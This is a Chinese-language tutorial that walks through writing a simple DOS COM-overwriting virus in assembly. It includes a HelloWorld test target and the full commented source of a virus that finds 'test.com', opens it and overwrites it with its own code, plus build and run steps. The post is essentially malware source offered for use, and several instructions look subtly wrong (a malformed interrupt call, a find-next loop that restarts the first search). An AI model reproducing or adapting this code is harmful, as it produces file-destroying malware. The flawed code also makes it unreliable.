ASM-用汇编写一个简单的COM覆盖型的Virus
先写一个测试程序”HelloWorld”,取名test.asm, 如下:
;DTA数据传输区,存放文件的相关控制信息,它的作用是在磁盘文件与程序之间做一个桥梁,
;程序写文件时先写DTA,程序读文件时就直接从DTA中读取文件的信息。
.model tiny
.code
org 0100h
ok: mov dx,offset message
mov ah,09h
int 21h
mov ah,4ch
int 21h
ret
message db 'HelloWorld!!',0dh,0ah,'$'
end ok
用: tasm test.asm 编译,再tlink test.obj /t 命令生成test.com文件。这个文件用于测试。
接着是Virus程序,这取名叫v.asm ,代码如下:
.model tiny
.code
org 100h
start:
setdta: ;设置DTA
lea dx,dta ;将DTA的起始地址赋给dx
mov ah,1ah ;1ah功能调用,设置DTA地址,调用参数 ds:dx=DTA地址
int 21h ;DOS中断
findf: ;查找文件
mov ah,4eh ;4eh功能调用,查找匹配文件,参数 ds:dx=ASCIZ串地址,cx属性
lea dx,fname ;将文件名地址赋给dx
mov cx,7 ;指定查找文件类型,7表示查找所有文件
int 21h ;DOS中断
jc notfind ;处理没有找到文件,jc是当CF=1时跳转
dispfn: ;显示文件
lea dx,[dta+30] ;打印文件,位置在它偏移30个字节的地方
push ax ;保存ax中的内容
mov ah,09h ;9号功能调用,显示字符串,调用参数 ds:dx=串地址,字符串以'$'结尾。
pop ax ;还原ax
openf: ;打开文件
mov ax,3d02h ;3dh功能调用,调用参数 ds:dx=ASCIZ串地址,al=访问文件共享方式,0=读,1=写,2=读/写;若调用成功,返回参数AX=文件代号
int 21h ;DOS中断
jc notopen ;没有打开跳到notopen
xchg ax,bx ;将打开文件功能调用的出口参数(文件代号)存到bx当中
pointf: ;定义文件的读写指针
mov ax,4200h ;42号功能调用,移动文件指针,调用参数 BX=文件代号,CX:DX=位移量,AL=移动方式
xor cx,cx ;将cx清零,代表偏移量的高位
xor dx,dx ;将dx清零,代表偏移量的低位
int 21h ;DOS中断,偏移量都为零,说明从文件的最开始处覆盖,若成功,dx:ax=新指针位置;失败,ax=错误码
jc notpoint ;如果设置错误就跳转
mov filesize,ax ;将文件的大小赋到内存单元中,ax是42号功能调用的出口参数
writef: ;写文件
mov ah,40h ;40h调用,写文件或设备,ds:dx=数据缓冲区地址,bx=文件代号,cx=写入的字节数;若调用成功返回ax=实际实际写入的字节数
mov cx,filel ;把要写入文件的长度存到cx
lea dx,start ;将病毒的起始地址存到dx当中
int 21h ;DOS中断
jc notwrite ;判断写入的状态
closef: ;执行了写操作之后关闭这个文件
mov ah,3eh ;3eh调用,关闭文件,bx=文件代号
int 21h ;DOS中断
jc notclose ;判断关闭文件是否成功
findnext: ;查找下一个文件
mov ah,4fh ;4fh调用,查找下一匹配文件,调用参数 DAT保留4eh的原始信息
jmp findf ;跳回继续查找文件
notfind: ;notfind符号地址
notopen: ;notopen符号地址
notpoint:
notwrite:
notclose:
quit: ;退出程序
mov ah,4ch ;4ch调用,带返回码终止,参数 al=返回码
int 21
dta db 44 dup (0) ;定义一个44字节的缓冲区
db '$' ;字符串的结束符,9号功能调用要用到
fname db "test.com",0 ;指定文件名
filesize dw ? ;定义一个存放文件大小的字节单元
filel equ $-start ;当前的偏移量($(已经到了文件的末尾了))-病毒的起始偏移量(start)
end start
同样用: tasm v.asm 编译,再tlink v.obj 命令生成v.exe文件。运行v.exe文件,即可把v.exe绑到test.com文件上去 !
引自瑟凡老师的瑟凡计算机病毒系列
参考:Win32Asm与RadAsm开发教程